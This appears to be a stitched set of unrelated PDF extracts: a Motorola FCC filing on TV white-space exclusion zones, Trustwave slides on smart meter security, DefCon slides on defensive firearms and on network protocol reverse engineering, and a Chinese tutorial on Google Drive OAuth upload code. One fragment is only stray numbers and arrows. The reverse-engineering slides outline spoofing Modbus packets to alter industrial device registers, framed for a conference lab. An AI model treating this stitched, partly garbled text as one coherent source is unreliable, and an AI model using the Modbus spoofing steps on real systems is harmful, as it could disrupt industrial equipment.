requested comment on means by which personal/portable devices could detect protected users in the TV bands. Motorola believes that spectral sensing, while promising, has not yet been demonstrated to be sufficiently robust to be used as an exclusive means of recognizing and avoiding interference with protected incumbents in the TV band.35 A system employing spectral sensing in combination with some form of geolocation or database look-up appears to be necessary to insure protection of authorized licensed users. Rules regarding spectral sensing could be relaxed at a later date as the technology becomes more proven. For the special case of networks of personal portable devices connected to outlets of a commercial cable TV system for the purpose of multimedia streaming in the home, Motorola believes that it may be practical to infer location and TV channel availability from control information provided on the cable TV feed. Motorola suggests that the FCC consider this as an alternative to other, more general schemes for interference avoidance. 34 As previously discussed, Motorola believes that TV channels 14-20 should be limited to public safety use rather than general unlicensed devices. 35 As the Commission evaluates how best to enable spectrum sensing some pertinent documents for consideration include the “802.22 Key Sensing Task Checklist” available at http://grouper.ieee.org/groups/802/22/Meeting_documents/2006_Oct/22-06-0183-01-0000-Key- Spectrum-Sensing-Tasks.doc and the “802.22 Sensing Test Plan” available at http://grouper.ieee.org/groups/802/22/Meeting_documents/2007_Jan/22-06-0202-01- 0000_Sensing_Test_Plan.doc. 24 V. CONCLUSION. Use of the TV white space spectrum for low powered devices will provide the opportunity to serve a variety of commercial and public safety related communications requirements. However, the FCC should proceed in a cautious manner at this point in time given the nascent state of spectrum sensing techniques and other spectrum access methods that must be refined to ensure interference protection to incumbent and protected facilities. As products are improved and new cognitive techniques are developed, the FCC can possibly expand its policies to make even more effective use of spectrum allocated to the TV broadcast services. For now, the Commission should focus on policies that enhance the usability of this spectrum for public safety and other critical use applications consistent with the recommendations contained herein. Respectfully Submitted, January 31, 2007 Respectfully submitted, By: /s/ Steve B. Sharkey Steve B. Sharkey Director, Spectrum and Standards Strategy Robert D. Kubik Director, Telecom Relations Global Motorola, Inc. 1455 Pennsylvania Avenue, NW Suite 900 Washington, DC 20004 TEL: 202.371.6953 -A1- Appendix Operation of low power data devices on TV channels 14-20 requires the protection of licensed land mobile radio (“LMR”) facilities that are operational in 13 markets across the country. Such protection should be established through “exclusion zones” surrounding the relevant cities where use of low power devices would not be permitted. The derivation of exclusion zones necessary to protect public safety and other LMR narrowband receivers requires that one consider the undesired signal’s power spectral density, antenna heights and terrain in the path loss estimation. The size of the exclusion zone depends upon the power falling within the bandwidth of the victim receiver and on the power spectral density of the interferer. While maximum transmit power output and EIRP have been defined (1 watt and 4 watts, respectively), the bandwidth over which the unlicensed signal is spread is not clearly defined. The exclusion zone size can be calculated for different power spectral densities. Figure 1 plots the required exclusion zone beyond the nominal 130 km radius for 4 W EIRP over bandwidths of 25 kHz, 250 kHz, 1.25 MHz, 2.5 MHz, and 5 MHz for 10 m antenna height consumer premises equipment and 2 m height narrowband LMR receivers. An omni-directional unlicensed transmitter antenna pattern was assumed. These results were generated using the NTIA irregular terrain propagation model (available at http://ntiacsd.ntia.doc.gov/msam/ITM/itm.htm). The parameters that were used to calculate these results are shown in Table I. Tx antenna height 10 m Rx antenna height 2 m Frequency 500 MHz Polarization Vertical Tx site criteria Very careful Rx site criteria Random Delta H 0, 30, 60, or 90 m Surface refract. 301 N-units Dielectric const. 15 Ground conduct. .005 S/m Radio Climate Continental Temp. % Confidence 50 % Time 10 % Location 50 Distance [variable] Mode Broadcast Table I. Parameters used for calculation of exclusion zones for various power spectral densities. ‘Very careful’ Tx antenna siting was used to give more conservative results. -A2- 0 5 10 15 20 25 30 35 40 0 1 2 3 4 5 Range (km) 25 kHz 250 kHz 1.25 MHz 2.5 MHz 5 MHz ΔH = 0 m ΔH = 30 m ΔH = 60 m ΔH = 90 m Figure 1. Graph of required exclusion zone beyond nominal 130 km radius for 4 W EIRP over various modulation bandwidths and terrain variations. As shown, modulation bandwidth or power spectral density has a significant impact on the required exclusion zone. If unlicensed fixed access were allowed to transmit at 4 watts EIRP in a 25 kHz bandwidth, exclusion zone beyond 130 km protection zone is approximately 40 km. Terrain variation has a significant impact at narrower bandwidths with higher power density. Occupied bandwidth is not necessarily the same as modulation bandwidth. For example, a 1700- subcarrier OFDMA with 3 kHz sub-carrier spacing would occupy 5.1 MHz if all sub-carriers were assigned. Power spectral density would be about -2 dBm/3 kHz bandwidth for 1 watt power output. Additional exclusion zone for protection from interference into 25 kHz bandwidth would follow the 5 MHz curve above, or about 7 km. However, a single user may only be allocated a fraction of those carriers, e.g., if 85 sub-carriers were allocated to a single user, this would correspond to a 255 kHz modulation bandwidth for power spectral density calculation. These sub-carriers do not have to be assigned adjacent to each other, they could occupy the entire TV channel bandwidth. If entire power output could be applied to that single user’s signal, and equally to each sub-carrier, power spectral density would be about 11 dBm/3 kHz bandwidth. Additional exclusion zone into 25 kHz bandwidth would be approximately 17 km. -A3- If maximum conducted power spectral density of 8 dBm/3 kHz bandwidth is mandated by the FCC, as defined in Section 15.247(e) for unlicensed digital modulation, the exclusion zone required beyond the 130 km Land Mobile protection zone is approximately 15 km, which yields a total exclusion zone of 145 kilometers from the center city coordinates. This is only somewhat greater than the 134 kilometer exclusion zones proposed in the original Notice of Proposed Rule Making in this proceeding.1 Use of contour analysis for nearby interferers tends to underestimate interference potential into LMR. LMR systems are normally designed for better than 90% reliability in a faded environment at edge of service area, which requires > 30 dB C/I between median signal levels. Typical LMR contour analysis uses 39 dBu F(50,50) service area contour versus 21 dBu F(50,10) interference contour at 2 m victim receiver antenna height, for a D/U of 18 dB. For distant interferers, delta between F(50,50) and equivalent F(50,10) contours is 10-14 dB. Therefore delta between median signal levels is 18 dB D/U + 10 to 14 dB delta = 28 to 32 dB C/I. As distance between interferer and victim decreases, delta between F(50,50) and F(50,10) contours declines, until at about 15 km they are the same. C/I based upon contour analysis declines from 30 dB for distant interferers to only 18 dB for nearby interferers, resulting in less protection than is actually required. If original 21 dBu F(50,10) interference contour were converted to a median signal, about 9 dBu F(50,50), the 30 dB C/I would be maintained for both distant and nearby interferers. In conclusion, Motorola recommends that for protection of co-channel operation on channels 14 – 20 in the vicinity of the affected metropolitan areas that the FCC limit the power spectral density and establish both co-channel and adjacent channel exclusion zones. Specifically, all devices should have power spectral density conducted from the intentional radiator to the antenna to be no greater than 8 dBm in any 3 kHz band during any time interval of continuous transmission. With this limitation established, it is then appropriate to adopt 145 kilometer exclusion zones around the center city coordinates of the cities that share TV channels 14-20 for land mobile services. With regard to operation on TV channels that are adjacent to land mobile use of TV channels 14- 20, Motorola’s analysis agrees with the FCC’s original proposal to adopt 131 kilometer exclusion zones from the center city coordinates.2 These same exclusion zones will need to be applied to areas where the FCC has agreed to allow land mobile use on TV channels 14-20 beyond the 13 specified markets in Section 90.303 of its rules.3 1 See Notice (n. 2 supra) at ¶ 36. 2 Id. 3 See, e.g., Goosetown Enterprises Inc., 16 FCC Rcd 12792 (2001).
pdf
The Night the Lights went out in ‘Vegas: Demystifying Smart Meter Networks Barrett Weisshaar Garret Picchioni Copyright Trustwave 2010 Confidential Overview What this Presentation is: •  Overview of Smart Meter & Smart Grid technology •  Detail network traffic-based approach − As opposed to meter firmware modification − Concepts/Protocols/Etc. •  Caveat: We're just pentesters and network geeks, not RF/ SCADA/Hardware gods Copyright Trustwave 2010 Confidential Overview What this Presentation is NOT: •  How to pwn the Smart Grid/Smart Meters •  How to get free power •  How to black out Las Vegas Copyright Trustwave 2010 Confidential What is “Smart Metering”? First, a brief history lesson…first generation meters! Copyright Trustwave 2010 Confidential What is “Smart Metering”? Second Generation “one way” meters: Copyright Trustwave 2010 Confidential What is “Smart Metering”? Third Generation Meters – Automated Metering Infrastructure: Source:  Galley  Eco  Capital Copyright Trustwave 2010 Confidential Why? •  Utility − Reduce staff overhead (for better or worse) − Remote Start/Stop Service − Demand Forecasting, demand pricing ($$) − Remote flash upgrades/diagnostics •  Customer − Monitor/track consumption − Opt-in for "smart appliances" (we'll get to that) − (in theory...) equal or reduced costs. Copyright Trustwave 2010 Confidential Smart Meter 101 •  What utility types are using Smart Meters? − All of them: Gas, Water, & Electric •  Typical Smart Meter Hardware − 32-bit ARM Processor (or similar) − 256k RAM (yes k) − 512k Flash memory − Transceiver (we'll get to that) − Communication method (usually over TCP/IP) Case Studies: Smart Meter Network Types (The Tubez) Copyright Trustwave 2010 Confidential Example 1: Licensed Spectrum •  900MHz licensed band − Frequency-hopping spread spectrum (FHSS) − Hybrid star/mesh network •  Advantages − Reliability − Longevity (as long as the band license is renewed) •  Disadvantages − Overhead − Proprietary System Copyright Trustwave 2010 Confidential Example 2: Existing 3rd Party Network •  GPRS − Primarily GSM-based (AT&T, etc) − CDMA is an option (but not widely used) − Point to point connectivity •  Advantages − Uses existing infrastructure − Coverage − Layered security of GSM (not as of 3hrs ago) and VPN tunnel •  Disadvantages − Control over reliability of metering network − Future-proof? Copyright Trustwave 2010 Confidential Example 3: Other Implementations •  Powerline − Big in EU, Japan, etc − Distance Matters! •  Broadband − Can use existing infrastructure − Interoperability is key − Leverage existing technologies Copyright Trustwave 2010 Confidential My Fridge Told Me I’m Fat: HANs and “Smart” Appliances HAN: Home Area Network •  Keys to success − Low Resource - small footprint − Low power (sorry Wifi, Bluetooth) − Secure (sorry, X-10) − Low Bandwidth •  Answer: Zigbee (IEEE 802.15.4) − Mesh/Star/Cluster topology − Security - Pre-shared keys (AES EAX) − Effective range: ~100 Ft •  Interaction with Appliances Security and Policy Implications Copyright Trustwave 2010 Confidential Is this Secure? Well, It Depends… •  Who are our attackers? •  It only works if you make use of all the features! •  Reliance on 3rd party security – GSM •  Feature Fluff •  Security through obscurity strikes again − Use of FHSS/"proprietary" FSK − Proprietary Command Sets •  Physical security − Location of attacker − Equipment security •  Incident response Copyright Trustwave 2010 Confidential Policy and Legal Implications •  They told me not to, so I won't. − Our network is secure because the FCC says you can't play in our sandbox. •  "Transmissions cannot be duplicated using off the shelf equipment.” − Oh Really? − Say hello to my USRP •  "Critical Infrastructure" – CIPA − Does this mean any transmission network is CI too? Copyright Trustwave 2010 Confidential More Policy Implications •  Let’s make sure it works properly first! (I’m looking at you, California) •  Privacy Issues − Electrical Surveillance − Appliance Control: Utilities are protecting themselves from me, but who’s protecting my HAN from them? Copyright Trustwave 2010 Confidential Even More Policy Implications Who benefits? •  Utilities! •  ...No, seriously. Utilities! − Cost savings (discussed previously) − American Reinvestment and Recovery Act − Pass rest of costs to consumer, if needed •  Consumer Benefit − Inelastic demand - not going to alter lifestyle − More benefit from power saving appliances •  Possible benefits to business − Manufacturing - schedule process runs Copyright Trustwave 2010 Confidential Where are we Going? •  Like it or not, the Smart Grid is coming − Replacement of aging infrastructure •  We still need a standard...seriously − IP? − ANSI 12.19/12.22 − Zigbee? •  Everyone Plays a Role: − Utilities - deploy securely and responsibly − Government - regulate (modestly) − Consumer - advocate Copyright Trustwave 2010 Confidential To-Do’s •  Extend time frame •  Construct legitimate test environment − Fewer legal implications •  True examination of network from a pen test standpoint − At the heart, it's IP - remember? Questions?
pdf
2 4 ➡ ➡ ➡ 5 6 7 8 9 10 11 12 13 15 ➡ ➡ 16 17 18 19 20 21 23 ➡ ➡ ➡ 24 25 26 27 28 29 30 32 ➡ ➡ ➡ 33 34 35 37 ➡ ➡ ➡ ➡ 38 39 40 41 ➡ ➡ ➡ ➡ 43 ➡ ➡ ➡ ➡ 44 45 ➡ ➡ ➡ ➡ ➡ 46 48 ➡ 49 ➡ ➡ ➡ 50
pdf
Boomstick-Fu Physical Security at its Most Basic and Brutal Level DefCon 15 Deviant Ollam | Noid | Thorn | Jur1st Show Of Hands • Gun Owners • Regular Shooters • Used a Firearm Defensively • Considering a Purchase What This Talk Is About (and what it’s NOT about) • Defensive Firearm Ownership • Hardware Within the Law (sorry full auto modders) • People Within the Law (permits and licenses, i.e. CCW) Four Rules of Firearm Safety 1. Always treat a weapon as loaded 2. Never point in a direction you wouldn’t fire 3. Be aware of your target and what is beyond 4. Finger off the trigger until ready to shoot What’s wrong with this picture? Why Choose To Own Guns? • It’s not about “Bad Neighborhoods” • Hope for the Best & Prepare for the Worst • The “worst” can get pretty bad on some very rare occasions, no matter where you live (Natural Disasters, Civil Unrest, Mass Hysteria, etc.) • The most restrictive regions (or nations) can have some of the worst violent crime rates. We Will Discuss… • Weapon Selection • Ammo Selection • Training and Practice • Psychological Considerations • Legal Notes Weapon Selection • Rifles vs. Shotgun vs. Handgun • Rifles are almost completely off the list Weapon Selection • Rifles vs. Shotgun vs. Handgun • Rifles are almost completely off the list • Shotguns • Actions, Pros & Cons, Versatility, Reliability • Handguns • Actions, Pros & Cons, Versatility, Reliability Shotguns • Pump vs. Autoloading vs. Old Style hard to top a good pump action (Remington 870 or Mossberg 500/590) Shotguns • Pump vs. Autoloading vs. Old Style • Capacity, Versatility, Ease of Use, Handling • Storing Safely & Storing Ready • Accessories (slings, lights, sidesaddles) Handguns • Revolver vs. Autoloading Pistol Handguns • Revolver vs. Autoloading Pistol – Revolver • Reliable & Simple • Storing Ready – Pistol • More Rounds • Faster Reloads Maintenance • No matter what you choose, it will only perform properly if you take care of it • Cleaning after every use • Smithing by professionals • Proper storage Ammunition • Caliber (not too big, not too small) – 9mm .38 .40 .45 range for handguns – 12 gauge for shotguns • Preventing over-penetration – Hollow points, frangible rounds, shotshells – Less than lethal ammo? (graduated loading) Less Than Lethal Solutions • Pepper Spray (often legal) • Brass Knuckles / Billy Clubs (not as legal) • Less than Lethal Ammunition – Shotshells (decent and potentially useful) – Pistol Ammo (tricky and potentially problematic) • Check the law… many subtle nuances – CCW changes a lot of things (even knives) Training and Practice • Don’t just leave your weapon in a closet (or worse, on your person if you’re a CCW holder) • Find a good range near you • Shoot often (how often?) • Repetition and Muscle Memory • Predictability – Handling, Patterning, etc • Does your range allow more? – Drawing, Rapid Fire, Tactical Reloading • Defensive Shooting Courses Psychological Considerations • Mentality of Shooting • Could you take a life? • CCW increases the stakes • Aftermath Legal Notes • Ownership laws are important to follow • Carry laws are important to follow • Risks of breaking the law • Prosecution / Incarceration • Losing whole collection • Prevention of future ownership • When you can use deadly force • Obligations during and after a shooting Rules of Firearm Safety Again 1. Always treat a weapon as loaded 2. Never point in a direction you wouldn’t fire 3. Be aware of your target and what is beyond 4. Finger off the trigger until ready to shoot Deviant Ollam | Noid | Thorn | Jur1st You talkin’ to me? Then speak clearly & into a microphone. Deviant Ollam | Noid | Thorn | Jur1st Thank You still have more questions? buy us drinks later Deviant Ollam | Noid | Thorn | Jur1st
pdf
Network Protocol Reverse Engineering Eavesdropping on the Machines Tim Estell – BAE Systems Katea Murray – Leidos 2016-08-05 Estell/Murray Eavesdropping on the Machines 2 What is this talk about? • Eavesdropping on the machines • Machines are going to have a communications protocol • We may not have seen it and they probably won’t tell us • We need to break down their protocol • Providing a repeatable process for reverse engineering protocols on your networks (there are many) • Giving you an approach for hacking the ICS Village 2016-08-05 Estell/Murray Eavesdropping on the Machines 3 What we’ll cover • Overview • What is protocol reverse engineering • Why you should care • How hard can it be? • Process • Walk through the process steps • Wrap Up • Tips and Tools • Staying Motivated What is NPRE? NPRE = Network Protocol Reverse Engineering It’s an Approach or a Process Figuring out how machines are talking to each other so you can • Listen in • Control the conversation Analysis of network data captures • Understanding the protocols • Breaking them down to something you can interpret 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 4 Wait, aren’t there tools for that? Yes, there are! • libpcap and tcpdump – Available for Windows, Linux, Mac • Wireshark – Available for Windows, Linux, Mac • Scapy – Python based, extensible • Fuzzing - http://tools.kali.org/tag/fuzzing • IDA Pro/OllyDbg – Good for API’s • Hex editors – for modifications to packets Unknown Protocols – Tool Limitations – Breakage 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 5 Motivation? • Pentest – Because hexdumps won’t convince the customer • Home – Because you want to know what leaves your network • Testing – Because developers are optimistic and/or wrong • Monitoring – Because node forgery and impersonation are so easy • Curiosity – You’d just like to know 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 6 How Hard Can It Be? • People design protocols – and people are predictable • But there are a lot of variations to pick from (such as checksums) • Sometimes designers know they need to make it hard 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 7 Why Bother? • Because this could be you … • Prior DEF CON talks (see the conference CD) • DC 22 – Molina; McDonal; Hoffman & Kinsey • DC 23 – Shipely & Gooler • Literature Search – between 2000 and 2010 a lot of work on classification algorithms (see the conference CD) 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 8 Assumptions • Framed network protocol data • We don’t have and won’t derive encryption keys • Legal authority (only try this at home) • “Don’t be evil” 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 9 Workflow 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 10 Get Data Frame it State Machine Fields Test Packet Collection • “Clean” lab environment • Switch vs. Hub – and why span ports fail • Cable cutting [https://www.dgonzalez.net/papers/roc/roc.pdf] • Cold boot and reboot • All-weather captures – “sunny day” to “bad weather event” • Device management interfaces • Setup, then test, and test, and test … 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 11 Framing • Where the packet starts and stops – sometimes this isn’t so easy • HTML framing – how to quickly make an ugly protocol • Fun with proprietary system bus protocols • But – we assumed we started with framed data • At home it’s IPv4 (or IPv6 if you’re really hard core) • Fig - https://commons.wikimedia.org/w/index.php?curid=1546835 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 12 State Machine • What is a state machine? • Figure out the message types • Look for patterns • Create the state chart • Fig - https://en.wikipedia.org/wiki/File:TCP_CLOSE.svg 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 13 FitBit State Machine • Figures from http://arxiv.org/pdf/1304.5672v1.pdf - “Fit and Vulnerable” by Rahman, Carbunar, Banik 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 14 Fields – this is where it get’s fun • String fields • Almost string fields • Bit fields • Checksums • Command values • Everything else 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 15 Source of Figure: https://nmap.org/book/images/hdr/MJB-IP-Header-800x576.png From: https://nmap.org/book/tcpip-ref.html String Fields • Easy to see in Wireshark • Common data types: • XML • SOAP • HTML • json • Example: ICS web interface 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 16 Almost String Fields • Binary Coded Decimal (BCD) • Buy your own! (https://www.scientificsonline.com/product/powers-of-two-clock-crystal-blue-chrome-version) • History repeats itself • Fig - https://commons.wikimedia.org/w/index.php?curid=1274824 • Code - https://en.wikipedia.org/wiki/Binary-coded_decimal uint32_t BCDadd(uint32_t a,uint32_t b) { uint32_t t1, t2; // unsigned 32-bit intermediate values t1 = a + 0x06666666; t2 = t1 ^ b; // sum without carry propagation t1 = t1 + b; // provisional sum t2 = t1 ^ t2; // all the binary carry bits t2 = ~t2 & 0x11111110; // just the BCD carry bits t2 = (t2 >> 2) | (t2 >> 3); // correction return t1 - t2; // corrected BCD sum } 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 17 Old Protocol Encapsulation ICS Example: MODBUS 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 18 Bit Fields and Checksums • Fixed field values – such as IPv4 headers • Checksums – random values (high entropy) • Typical field sizes: 8, 16, 32 • Odd checksum calculation example – IPv4 (RFC 793): • Take a few fields from the IP header (Source and destination IP address, protocol, and TCP length) • Create a pseudo header • Attach this to the TCP header • Zero out the checksum field • Then calculate the checksum over the pseudo header, header, and data 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 19 Command Values • Bit fields with a sense of purpose • Could be one-up values: • 1 = request status; 2 = status response; 3 = request temperature; 4 = current temperature; … • Could be constants based on a Hamming distance: • 0x001; 0x010; 0x100; 0x111 or 1,2,4,7 • Could be encoded (base64 or BCD) 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 20 All the rest …. • The “all others” category • Understanding what state the device was in • Making assumptions about what the device is sending • Example: FitBit sends activity data base64 encoded in clear text HTTP. Understanding if the device is checking in or uploading activity values helps sort out what fields should be found. • [Source: Fit and Vulnerable: Attacks and Defenses for a Health Monitoring Device - http://arxiv.org/pdf/1304.5672v1.pdf] 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 21 Now test • See if you’re on the right track • Test your assumptions by spoofing communication • Good Python tool for this is scapy • Workflow for Modbus hacking in ICS Village • Start scapy session • Capture a Modbus packet • Change the register value • Send the modified packet • See the light change – Woot! 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 22 Iterate • Wash, rinse, repeat • Know when you’re “done enough” • Keep refining state machine and field knowledge until: • there are no unknowns (good luck); or • you've figured out enough to do the job at hand (more feasible). 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 23 Tips Tricks of the trade • Find the reset switch • Legacy modes are often weaker • Replay • Fuzz • Observe where you fail • Device discovery and management • Status reporting 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 24 Tools • Don’t force a tool to fit a task, but leverage them when they make sense • NetZob – https://www.netzob.org/. Available for Linux and Windows “Netzob is an open source tool for reverse engineering, traffic generation and fuzzing of communication protocols. It allows to infer the message format and the state machine of a protocol through passive and active processes. The model can afterward be used to simulate realistic and controllable traffic.” Version 1.0 was released in January, 2016. 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 25 Don’t Panic! (or forget your towel) Avoiding the death march • Talk to others • Like the people in this room • Don’t give up! • looking for other projects that have solved similar challenges • This is a game • SuperBetter, by Jane McGonigal 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 26 What we covered: • What is protocol reverse engineering • Why you should care • A process for NPRE • Walk through our process steps • Collect data – Get some packets • Frame it – Figure out where the data is • State Machine – Understand sessions • Fields – Derive packet fields • Test – Try it out • Iterate – Make it better • Tips, Tools, Don’t Panic Network Protocol RE 2016-08-05 Estell/Murray Eavesdropping on the Machines Slide 27 Network Protocol Reverse Engineering: Eavesdropping on the Machines Tim Estell – [email protected] Katea Murray – [email protected] 2016-08-05 Estell/Murray Eavesdropping on the Machines 28
pdf
1 Google Drive 上传⼯具编写 有⼀天,有⼈找我帮忙写⼀个⼯具,被我义正⾔辞的拒绝了。我可不帮⼈写⼯具,我只是爱学习。 这部分内容,官⽅⽂档写得很是清楚。Google 提供的 APIs 访问是基于 Oauth2.0 认证的,其流程可以 ⼤致分为以下⼏个步骤: 1. 客户端 App 发起认证(若⽤户没有登录,则需要先登录) 2. 弹出授权⻚⾯,⽤户点击允许后,Google 认证服务器给我们返回⼀个授权码(Authorization code) 3. 客户端获取到授权码以后,⽤授权码向认证服务器请求 Access Token 4. 服务器验证授权码⽆误后返回 Access Token ⾄客户端 5. 拿到 Access Token 以后,就可以访问 Google APIs 了(其实这⾥还会返回⼀个Refresh token) ⼤家直接看下⾯的图可能会⽐较好理解⼀点: 上⾯的流程只是基于第⼀次获取 Access Token 的情况,因为 Access Token 是有期限的,默认是1个⼩ 时,Access Token 过期之后,就需要通过 Refresh Token 来向 Google 认证服务器申请⼀个新的 Access token,不需要经历上⾯的1,2,3步。 0x00 基本认证 2 Refresh Token 并不是⼀直有效的,在下⾯的⼏种情况下将会失效: ⽤户撤销了对应⽤程序的授权 该 Refresh Token 已超过 6 个⽉未使⽤ ⽤户修改了密码,并且 Refresh Token 授权的 Scope 包含了 Gmail ⽤户账号的 Refresh Token 数量已超出最⼤数量 ⽤户属于具有有效会话控制策略的 Google Cloud Platform 组织 ⽬前每个⽤户账号每个授权凭证有 25 个 Refresh Token 的数量限制,如果超过了这个限制,当你新建 ⼀个 Refresh token 的时候将会使最早创建那个失效。⼀般来说,我们在经过⽤户授权,拿到授权码请 求到 Refresh Token 后,必须把它缓存起来,以便后续更新 Access Token。 因此在实际使⽤时,使⽤ Refresh Token 来申请 Access Token 即可。 登录 Google,访问 https://console.cloud.google.com/cloud-resource-manager?organizationId=0 点击创建项⽬ 0x01 Refresh Token 期限 ● ● ● ● ● 0x02 实操获取 Token 2.1 创建应⽤及 OAuth 客户端 ID 3 项⽬名称可⾃定义。创建后进⼊ 【API 和服务】-> 【OAuth 同意屏幕】 4 5 完成之后,进⼊【凭证】创建 OAuth 客户端 ID。 应⽤类型选择【桌⾯应⽤】-> 【创建】。 成功获取到想要的客户端 ID 和 客户端密钥。 还有两步,差点忘了。 6 选择【库】,搜索 【Google Drive API】-> 【启⽤】 组装⼀下连接,放⼊浏览器中访问: 2.2 获取 Authorization code Plain Text 复制代码 https://accounts.google.com/o/oauth2/auth?client_id=[Application Client Id]&redirect_uri=http://localhost&scope=[Scopes]&response_type=code 1 7 由于我这⾥已经登录了账号,因此直接点⼊账号即可。 8 成功获取 code。 关于常⽤的 Scope POST 请求以下内容: 2.3 获取 Access Token 和 Refresh Token Scope 描述 https://www.googleapis.com/a uth/drive.file 对应⽤程序创建或打开的⽂件进⾏逐个访问 https://www.googleapis.com/a uth/drive 访问⽤户所有⽂件的完全、允许的范围。只有在严格需要的情 况下,才会申请这个范围。 https://www.googleapis.com/a uth/drive.appdata 允许访问 应⽤程序数据⽂件夹 9 成功获取到两个 Token。 由于每个 Access Token 有效时间很短。因此当 Access Token 过期后,服务器需要使⽤ Refresh Token 来获取新的 Access Token 。 2.4 通过 Refresh Token 获取 Access Token Plain Text 复制代码 https://accounts.google.com/o/oauth2/token httpBody: code={0}&client_id={1}&client_secret={2}&redirect_uri= {3}&grant_type=authorization_code 1 2 3 4 Plain Text 复制代码 https://accounts.google.com/o/oauth2/token httpBody: refresh_token={0}&client_id={1}&client_secret= {2}&grant_type=refresh_token 1 2 3 4 10 因此我们需要将 refresh_token 进⾏保存。 通过 System.Diagnostics.Process.Start(url) 来启动默认浏览器进⾏认证。 重定向 URL 是通过 HttpListener 起⼀个监听,也可以直接起 Socket 进⾏监听。这样做是为了⽅便获 取 code。 在获取 code 后,就可以获取 Token 了。 0x03 代码实现获取 Token C# 复制代码 public void GetGoogleAuthorizationCode() {    string scope = "https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.appdata";    string url = string.Format("https://accounts.google.com/o/oauth2/auth?client_id= {0}&redirect_uri={1}&scope={2}&response_type=code",                               HttpUtility.UrlEncode(client_id),                               HttpUtility.UrlEncode(redirectUrl),                               HttpUtility.UrlEncode(scope)                             );    System.Diagnostics.Process.Start(url); } 1 2 3 4 5 6 7 8 9 10 11 C# 复制代码 public string[] GetGoogleToken(string code) {    string[] token = new string[] { };    string url = "https://accounts.google.com/o/oauth2/token";    string httpBody = string.Format("code={0}&client_id= {1}&client_secret={2}&redirect_uri={3}&grant_type=authorization_code",                                    HttpUtility.UrlEncode(code),                                    HttpUtility.UrlEncode(client_id),                                    HttpUtility.UrlEncode(client_secret),                                    HttpUtility.UrlEncode(redirectUrl)                                   );    try   {        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);        request.Method = "POST";        request.ContentType = "application/x-www-form-urlencoded";        using (var writer = new StreamWriter(request.GetRequestStream()))       {            writer.Write(httpBody);       }        HttpWebResponse response = (HttpWebResponse)request.GetResponse();        using (var reader = new StreamReader(response.GetResponseStream()))       {            string result = reader.ReadToEnd();            Console.WriteLine(result);       }   }    catch (WebException ex)   {        HttpWebResponse responseEx = ex.Response as HttpWebResponse;        using (var reader = new StreamReader(responseEx.GetResponseStream()))       {            string result = reader.ReadToEnd();            Console.WriteLine(result);       }        Console.WriteLine();   }    return token; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 12 https://developers.google.com/drive/api/v3/reference https://developers.google.com/drive/api/v3/reference/files 由于官⽅已经更新⾄ V3 版本,但很多例⼦都是使⽤ V2 来讲述,因此这⾥我就直接使⽤ V3 版本进⾏演 示。 此⽅法通过两个单独的 URI 提供⽂档数据上传功能。更多详情,请参阅⽂件数据上传⽂档。 上传 URI,⽤于⽂档数据上传请求 元数据 URI,仅⽤于元数据请求 0x04 上传流程 4.1 [⽂件 -> 创建] API 要求 4.1.1 HTTP 请求 ● ● 4.1.2 请求参数 } 42 C# 复制代码 POST https://www.googleapis.com/upload/drive/v3/files 1 C# 复制代码 POST https://www.googleapis.com/drive/v3/files 1 13 这些参数都是可选参数 从上述的请求参数 uploadType 来看,可以执⾏三种类型的上传: 1. 简单上传 ( uploadType=media):使⽤此上传类型可快速传输⼩型⽂件(5 MB 或更少),⽽⽆需 4.1.3 请求正⽂ 4.2 上传类型的选择 参数名称 类型 描述 必需的查询参数 uploadType strin g 对URI的上传请求的类型。如果您正在上传数据(使⽤URI),则此 字段是必需的。如果您正在创建仅元数据⽂件,则不需要此字段。 media-简单上传。仅⽂档数据,不上传任何元数据。 multipart-分段上传。在⼀个请求中上传⽂档数据及其元数据。 resumable-可恢复上传。以可恢复的⽅式上传⽂件,⾄少两个 请求,其中第⼀个请求包含元数据。 ● ● ● 可选查询参数 ignoreDefaultVisibili ty bool ean 是否忽略域对已创建⽂件的默认可⻅性设置。(默认: false) includePermissions ForView strin g 是否在新的 head 版本中设置 'keepForever' 字段。(默认: false) ocrLanguage strin g 图像导⼊期间 OCR 处理的语⾔提示(ISO 639-1 代码)。 supportsAllDrives bool ean 请求的应⽤程序是否同时⽀持“我的云端硬盘”和共享云端硬盘。(默 认: false) useContentAsIndex ableText bool ean 是否将上传的内容⽤作可索引⽂本。(默认: false) 参数名称 类型 描述 name string ⽂件的名称。这在⽂件夹中不⼀定是唯⼀的。 description string ⽂件的简短描述 14 提供元数据。 2. 分段上传 ( uploadType=multipart):使⽤此上传类型可在单个请求中快速传输⼩⽂件(5 MB 或更 少)和描述⽂件的元数据。 3. 可恢复上传 ( uploadType=resumable):对于⼤⽂件(⼤于 5 MB)以及⽹络中断的可能性很⾼的情 况(例如从移动应⽤程序创建⽂件时),请使⽤此上传类型(可断点续传)。 写这类⼯具,肯定是要传输⼤⽂件的。因此毫不犹豫的选择 Resumable 类型 此协议允许在通信故障中断数据流后恢复上传操作。它可以在发⽣⽹络故障时减少带宽使⽤,因为在恢 复上传时,可实现断点续传。 